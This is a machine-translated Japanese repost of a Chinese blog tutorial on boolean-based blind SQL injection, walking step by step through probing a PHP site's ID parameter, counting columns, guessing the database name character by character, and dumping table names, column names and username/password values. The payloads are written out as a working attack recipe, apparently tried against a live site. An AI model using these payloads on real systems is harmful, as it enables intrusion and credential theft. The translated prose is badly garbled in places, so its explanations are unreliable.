ブラインド注意の原則に

免責事項:この記事はブロガーオリジナル記事です、続くBY-SAのCC 4.0を著作権契約、複製、元のソースのリンクと、この文を添付してください。
このリンク: https://blog.csdn.net/qq_23066945/article/details/102771383

ブラインド注意の原則に

注射は盲目であることが判明したと、米国の前にサイトを見つけるために、単にブラインドの原則について話しています。

ステップ

1.xxx.com/index.php?ID=79単一引用符、この位置誤差、および直接エラーメッセージを与える:
ここに画像を挿入説明
彼の時計はカタログで、単一引用符が閉じていることを知っています。

SQL: SELECT *FROM catalog WHERE ID = '79''

クローズする2.試み、入力「 -ページの後に+が通常の状態に戻ります。
ここに画像を挿入説明
3. [スタート]フィールドを推測します。
エントリー

ID=79' order by 5--+

教科書のエラーが返されます。
エラーメッセージは、5番目のフィールドではありません。

Unknown column '5' in 'order clause'

ここに画像を挿入説明
入力しようとし続けます

ID=79' order by 4--+

表の4つのフィールド現在存在することを示し、正常に戻る
ここに画像を挿入説明
4.ビューリターン情報
入力:

ID=79' select 1,2,3,4 --+

多くの時間が任意の情報を表示するので、ブラインドをしようとしませんしようとしました。
ここに画像を挿入説明
ここで、彼の名前は、テーブルの外になっているが、私は他のテーブルを見て選びました。だから、ゼロからスタートします。
入力:

ID=79' and length(database())>10 --+

彼のデータベース名は、エラーが返され、10以上である見る
ここに画像を挿入説明
、テストを継続し、通常より9以上に復帰する際に
ここに画像を挿入説明
識別するために継続して
入力を:

ID=79' and length(database())=10 --+

ファイナライズ彼のデータベース名は、10文字です
ここに画像を挿入説明
5.データベース名は、と推測し始めた
最初の最初の文字があることを推測
アスキーテーブル開かれた
ここに画像を挿入説明
データベース名をzにからでなければなりません
タイプ:

ID=79' and ascii(substr(database(),1,1))>122 --+

データベースASCIIコード超える122の最初の文字は、エラーが返された場合
ここに画像を挿入説明
、オプションは、50以上か否かを、trueを返す決定されます。続行
ここに画像を挿入説明
75より大きい場合、真を返す
ここに画像を挿入説明
データベースASCIIコード値が正常に戻る115の最終測定最初の文字を。
115秒に相当します。したがって、最初の文字データベースはSです。
ここに画像を挿入説明
第2の文字のASCIIコード101、eと文字をASCII文字に対応するコードと同様にして試験しました。
ここに画像を挿入説明
上記の方法では、沈降性と呼ばれる最終のメジャーデータベース
次のバースト・テーブル

and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0--+ 

私のためのペイロードは、この鶏料理は、我々はローカルのMySQL環境に見て、良い直感的な理解ではありません。
入力:

select table_name from information_schema.tables where table_schema=database()

これは、現在のデータベースのテーブル名に直接表示されます。
ここに画像を挿入説明
ペイロード表示を入力した後、複数の行を返す
ここに画像を挿入説明
次に制限パラメータ使用
limit0,1 - >データの最初の行
limit1,2 - >は、データの第2行
テーブルの行となるように。
入力:

and ascii(substr((select table_name from information_schema.tables where table _schema=database() limit 0,1),1,1))>0 --+ 

解釈:最初の文字のASCIIコードのリストが0より大きい返すかどうか
など、最初の表、第二のテーブルに来ます。
7.バーストフィールド

 and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0

8.爆発的なコンテンツ

and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0

上記同様の原理。

終わり。

最後に、オーストリア、私は兄が言っ願ってしまうという問題があります。
ここに画像を挿入説明

おすすめ

転載: blog.csdn.net/qq_23066945/article/details/102771383